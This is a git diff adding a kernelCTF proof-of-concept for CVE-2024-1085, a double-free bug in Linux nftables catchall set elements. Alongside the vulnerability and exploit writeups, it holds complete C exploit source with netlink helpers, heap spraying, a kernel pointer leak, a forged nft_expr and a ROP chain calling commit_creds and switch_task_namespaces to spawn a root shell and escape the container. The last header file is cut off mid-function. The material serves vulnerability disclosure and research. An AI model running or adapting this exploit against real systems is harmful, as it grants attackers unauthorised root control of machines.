diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/exploit.md new file mode 100644 index 00000000..3b34e4e2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/exploit.md @@ -0,0 +1,164 @@ +# Exploit detail about CVE-2024-1085 +If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +### Genmask States of nftables +In nftable, developers use `genmask` in many objects to mark the state of the object. `genmask` has two important flags, which represent whether the object is available in the current task and the next batch of tasks. + +```c +/* + * Generic transaction helpers + */ + +/* Check if this object is currently active. */ +#define nft_is_active(__net, __obj) \ + (((__obj)->genmask & nft_genmask_cur(__net)) == 0) + +/* Check if this object is active in the next generation. */ +#define nft_is_active_next(__net, __obj) \ + (((__obj)->genmask & nft_genmask_next(__net)) == 0) + +/* This object becomes active in the next generation. */ +#define nft_activate_next(__net, __obj) \ + (__obj)->genmask = nft_genmask_cur(__net) + +/* This object becomes inactive in the next generation. */ +#define nft_deactivate_next(__net, __obj) \ + (__obj)->genmask = nft_genmask_next(__net) + +/* After committing the ruleset, clear the stale generation bit. */ +#define nft_clear(__net, __obj) \ + (__obj)->genmask &= ~nft_genmask_next(__net) +#define nft_active_genmask(__obj, __genmask) \ + !((__obj)->genmask & __genmask) +``` + +When an object is deleted, developers usually call `nft_deactivate_next` to modify its `genmask`. Similarly, when developers need to confirm which objects have not been deleted, they need to use `nft_is_active_next` to check to avoid double free and other problems. + +## Cause anaylysis + +In function `nft_setelem_catchall_deactivate`, it checks if an elem is active by this : + +```c +... +list_for_each_entry(catchall, &set->catchall_list, list) { + ext = nft_set_elem_ext(set, catchall->elem); + if (!nft_is_active(net, ext)) + continue; +... +``` +but it should use function `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice. + + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set A, and a catchall set element B in pipapo set A. +- Delete element B. +- Delete element B again. + +By the way, we need to send the command of step 2 and step 3 together because we need to avoid set element B being actually released before our step 3. + +## Exploit it + +### Target object caches +Because the `struct nft_set_elem->priv` (which is allocated in function `nft_set_elem_init`)object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256`. + +### Exploit detail +I exploit CVE-2024-1085 by following steps: + +- 1. Create a pipapo set `A`, and a catchall set element `B` in it. Create a `bitmap set` which name is "set bitmap for exp". +- 2. Trigger the vulnerability by following messages: + + ```c + msg_list[0] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element first time + msg_list[1] = del_table_msg(table_obj_for_double_free_bypass);////kfree the table -> udata, so we can kfree another heap object in the same kmalloc-256 cache as our catchall set element to avoid the naive double free detection in the SLUB allocator: https://lore.kernel.org/lkml/1edb137c-356f-81d6-4592-f5dfc68e8ea9@linux.com/t/ + msg_list[2] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element second time + send_msg_list(socket, msg_list, 3); + ``` + After this we kfree the catchall set element `B` twice. This makes it possiable that we alloc the heap back twice. +- 3. Try to alloc the heap of the catchall set element `B` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table C` and `nft_table D`. +- 4. Delete `nft_table C`. +- 5. Spray heap to get the heap of `nft_table C->udata` +back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` in `bitmap_set` because I want to leak the `ops` pointer of the `nft_expr`. +- 6. Dump `nft_table D`. Now we leak `nft_last_ops`. `nft_table D`'s `udata` contains the sprayed nft_expr object, so we can leak it's ops field which contains `nft_last_ops`. +- 7. Create another set element `E` in `bitmap_set`. Then dump the `nft_table D` again. We can get the pointer of the set element `E` because each bitmap set element has a doubly linked list. + ```c + struct nft_bitmap_elem { + struct list_head head; + struct nft_set_ext ext; + }; + ``` +- 8. Delete set element `E`. Fill the heap memory of set element `E` through heap spraying. + ```c + //ops->dump + *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret + //ops->type + *(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type + spray_tables(socket,0x200, pad, 0x80); + ``` +- 9. Delete `nft_table D`. +- 10. Fill the heap memory of `nft_table D ->udata` with fake `nft_expr` and ROP gadget. +- 11. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget. + ```c + static int nf_tables_fill_expr_info(struct sk_buff *skb, + const struct nft_expr *expr) + { + if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name)) + goto nla_put_failure; + + if (expr->ops->dump) { + struct nlattr *data = nla_nest_start_noflag(skb, + NFTA_EXPR_DATA); + if (data == NULL) + goto nla_put_failure; + if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here + goto nla_put_failure; + nla_nest_end(skb, data); + } + ... + + ``` + +### ROP detail + +The assembly code when calling expr->ops->dump is as follows: + +``` + mov rax, [rbp+0] + mov rsi, rbp + mov rdi, rbx + mov rax, [rax+40h] + call __x86_indirect_thunk_rax +``` +So the `rbp` is the pointer of the current `nft_expr`. We fill it by following: +```c + ... + //build fake setelem + *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops + //start ROP + *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret expr[0]->data + ... +``` + +The first step of ROP start looks like this(We fill the ops pointer in step 8): +``` +expr->ops->dump(skb, expr) --> leave ; ret +``` +This will finally makes this happen: + +``` +rsp = element + 0x28 // mov rsp, rbp +rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28]) +rsp = element + 0x30 +rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30]) +rsp = element + 0x38 +``` +After completing the stack migration, we can run ROPgadget and finally get the root shell. diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/vulnerability.md new file mode 100644 index 00000000..777b4136 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/docs/vulnerability.md @@ -0,0 +1,27 @@ +# Vulneribility + In function `nft_setelem_catchall_deactivate`, it checks if a catchall->elem is active by using function `nft_is_active`, but it should use `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit aaa31047a6d25da0fa101da1ed544e1247949b40]( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=aaa31047a6d25da0fa101da1ed544e1247949b40) + +## Commit which makes it exploitable + - [commit 0b9af4860a61f55cf716267b5ae5df34aacc4b39](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0b9af4860a61f55cf716267b5ae5df34aacc4b39) + +## Commit which fixed the vulnerability +- [commit a372f1d01bc11aa85773a02353cd01aaf16dc18e](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a372f1d01bc11aa85773a02353cd01aaf16dc18e) + +## Affected kernel versions +- 6.1.56 and later +- 5.15.134 and later + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/Makefile b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/Makefile new file mode 100644 index 00000000..e2a6e2ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/README b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/README new file mode 100644 index 00000000..6b1be7e7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/README @@ -0,0 +1,2 @@ +Exploit for kctf cos-105-17412.226.43 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit new file mode 100644 index 00000000..82bc715b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit.c b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit.c new file mode 100644 index 00000000..33be2d9d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/exploit.c @@ -0,0 +1,364 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" + +char *table_udata = NULL;//Save data for nft_table->udata after calling get_table +int table_num = 0;//using for number counting for nft_table struct because we will spray heap by using nft_table->udata +uint64_t kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; + +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_get_table(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_TABLE_MAX+1]; + memset(tb_msg, 0, NFTA_TABLE_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + if (tb_msg[NFTA_TABLE_NAME]){ + printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME])); + } + if (tb_msg[NFTA_TABLE_USERDATA]){ + free(table_udata); + table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA])); + nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA])); + } + return NL_OK; +} + +/* + Spray the heap through the udata of nft_table. In nftables, when creating a table, + you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA + (the corresponding code is in the function nf_tables_newtable). +*/ + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;i priv pointer. + new_set_bitmap(socket, table, bitmap_set); + + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + uint64_t hash_key; + //Step 1 : Create a pipapo set `A`, and a catchall set element `B` in it. + char *table_obj_for_double_free_bypass = "test table"; + //Make the target object (`struct nft_set_elem -> priv`, which will be released twice) and `table_obj_for_double_free_bypass` to be on the same page. Because during testing, only when they are on the same page (that is, the same slab), can the crash be effectively avoided. + //Use struct nft_table->udata for spray + spray_tables(socket,0x100, pad, 0xd0); + new_obj_ct_expect(socket, table, target_obj, NULL, 0); + new_setelem(socket, table, pipapo_set, pad, 0xc0, target_obj, NULL, 0, NULL, 0, 1); + new_table_with_udata(socket, table_obj_for_double_free_bypass, pad, 0xd0); + spray_tables(socket,0x100, pad, 0xd0); + + //Step 2 : Trigger the vulnerability + //After this we kfree the catchall set element `B` twice. This makes it possiable that we alloc the heap back twice. + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5); + memset(msg_list, 0, sizeof(struct nlmsghdr *)*5); + msg_list[0] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1); + msg_list[1] = del_table_msg(table_obj_for_double_free_bypass);//kfree the table -> udata, so we can kfree another heap object in the same kmalloc-256 cache as our catchall set element to avoid the naive double free detection in the SLUB allocator: https://lore.kernel.org/lkml/1edb137c-356f-81d6-4592-f5dfc68e8ea9@linux.com/t/ + msg_list[2] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1); + send_msg_list(socket, msg_list, 3); + //Now we try to get the heap back and check if we success + //Step 3: Try to alloc the heap of the catchall set element `B` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. + struct nl_sock * socket2 = nl_socket_alloc(); + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL); + int try_num = 0; + char *table_name = malloc(0x100); + int a=0,b=0; + while(1){ + printf("trying %d\n",try_num); + snprintf(table_name, 0x100, "table for test %d", try_num); + *(int *)pad = try_num; + new_table_with_udata(socket, table_name, pad, 0xd0); + int i; + for(i=0;iudata` back. + while(1){ + bitmap_key = i; + new_setelem_with_expr(socket, table, bitmap_set, pad, 0xb0, NULL, &bitmap_key, 2, NULL, 0); + snprintf(tmp, 0x100, "table for test %d", b); + get_table(socket2, tmp); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28)); + if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x760){ + break; + } + i++; + } + //Step 6: Dump `nft_table D`. Now we leak `nft_last_ops`. + //Save it. We will use it later. + char *setelem_data = malloc(0x100); + memcpy(setelem_data, table_udata, 0xd0); + kernel_off = *(uint64_t *)(table_udata+0x28) - 0xFFFFFFFF828C9760; + //Step 7 Create another set element `E`. Then dump the `nft_table D` again. We can get the pointer of the set element `E` because each bitmap set element has a doubly linked list. + //now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target. + bitmap_key++; + //Create set element `E` for expr->ops. The size of set element `E` is not important. We will fill it again after we get the address of element `E`. + new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0); + + snprintf(tmp, 0x100, "table for test %d", b); + get_table(socket2, tmp); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Get next setelem : %llx\n",*(uint64_t *)table_udata); + //Step 8 : Delete set element E. Fill the heap memory of set element E through heap spraying. + uint64_t ops_addr = *(uint64_t *)table_udata; + //Free the set element `E`, and fill it with our target expr->ops->dump and expr->ops->type + del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0); + //struct nft_expr_ops->dump + *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff8116f78b;//leave ; ret + //struct nft_expr_ops->type + *(uint64_t *)&pad[0x70] = kernel_off + 0xFFFFFFFF835199E0;//nft_last_type + //here we use nft_table->udata to fill the setelem. + /* + Spray the heap through the udata of nft_table. In nftables, when creating a table, + you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA + (the corresponding code is in the function nf_tables_newtable). + */ + //Because the size of set element `E` is between 0x80-0xc0. + spray_tables(socket,0x400, pad, 0x80); + //Now we try to control rip by faking another expr in set elem. + //Here we are forging `struct nft_set_elem->priv`, and the forged data is filled in by `struct nft_table->udata`. + //build fake setelem + *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops + //start ROP + *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff81080450;//pop rdi; ret + *(uint64_t *)&setelem_data[0x38] = kernel_off + 0xFFFFFFFF83262140;//init_cred + *(uint64_t *)&setelem_data[0x40] = kernel_off + 0xFFFFFFFF8110CF50;//commit_creds; + *(uint64_t *)&setelem_data[0x48] = kernel_off + 0xffffffff81080450;//pop rdi ; ret + *(uint64_t *)&setelem_data[0x50] = 1; + *(uint64_t *)&setelem_data[0x58] = kernel_off + 0xFFFFFFFF81103DC0;//find_task_by_vpid + *(uint64_t *)&setelem_data[0x60] = kernel_off + 0xffffffff8102c691;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&setelem_data[0x68] = 0; + *(uint64_t *)&setelem_data[0x70] = kernel_off + 0xFFFFFFFF8124C52C;//pop rsi ; ret + *(uint64_t *)&setelem_data[0x78] = kernel_off + 0xFFFFFFFF83261F00;//init_nsproxy + *(uint64_t *)&setelem_data[0x80] = kernel_off + 0xFFFFFFFF8110B570;//switch_task_namespaces + *(uint64_t *)&setelem_data[0x88] = kernel_off + 0xFFFFFFFF81FE3C87;//swapgs; ret + *(uint64_t *)&setelem_data[0x90] = kernel_off + 0xFFFFFFFF820011A7;//iretq + *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell; + *(uint64_t *)&setelem_data[0xa0] = user_cs; + *(uint64_t *)&setelem_data[0xa8] = user_rflags; + *(uint64_t *)&setelem_data[0xb0] = user_rsp|8; + *(uint64_t *)&setelem_data[0xb8] = user_ss; + + //Stpe 9 : del table b (which is named as `nft_table D` in exploit.md in step 9) first + del_table(socket, tmp); + + bitmap_key = i; + int t=0; + while(1){ + //Step 10 : Fill the heap memory of nft_table D ->udata with fake nft_expr and ROP gadget. + spray_tables(socket, 1, setelem_data, 0xd0); + //Step 11 : Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget. + get_setelem(socket, table, bitmap_set, &bitmap_key, 2); + printf("%d\n",t); + t++; + //Sleep for 0.5 seconds every time to try to apply for memory to wait for the release of `table for test $b` in the `trans_destroy_work`. + //Otherwise we will crash the kernel. + sleep(0.5); + } + printf("End\n"); + while(1); +} + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + exploit(socket); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/obj.h b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/obj.h new file mode 100644 index 00000000..a6450f70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/obj.h @@ -0,0 +1,134 @@ +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/set.h b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/set.h new file mode 100644 index 00000000..801679fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/set.h @@ -0,0 +1,165 @@ +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + 